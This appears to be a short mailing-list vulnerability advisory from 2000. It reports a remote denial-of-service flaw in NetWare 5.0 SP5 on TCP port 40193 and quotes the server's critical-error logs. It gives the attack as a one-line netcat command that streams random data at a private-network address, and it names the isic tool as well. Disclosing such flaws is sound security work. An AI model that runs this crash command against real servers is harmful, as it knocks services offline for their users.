Remote Denial Of Service -- NetWare 5.0 with SP 5

[dparussalla () BAYSIDEGRP COM AU (Dimuthu Parussalla)]

Remote Denial Of Service -- NetWare 5.0 with SP 5
--------------------------------------------------------------

I encounter a buffer overflow bug in NetWare 5.0 with service pack 5. After
few minutes after the attack server issue a memory allocation error.

10-07-2000  12:29:53 pm:    SERVER-5.0-4631  [nmID=1001C]
     WARNING! Server XXXXX experienced a critical error.  The offending
process was suspended or  recovered.
     However, services  hosted by this server may have been affected.

I continued the attack another 1/h hr or so. then server issued a Abend
error and hangs.

10-07-2000  12:29:53 pm:    SERVER-5.0-4631  [nmID=1001C]
     WARNING! Server XXXXX experienced a critical error.  The offending
process was
     suspended or recovered.  However, services hosted by this server may
have been affected.

ATTACK INFO
-----------------

Using a linux server connected to the same network. I did the following

[root@tik /root]# cat /dev/urandom |nc 192.168.1.15 40193

NetWare TCP port 40193 doesn't handle frag TCP packets as well. using isic I
got the same results

FIX
-----

No FIX yet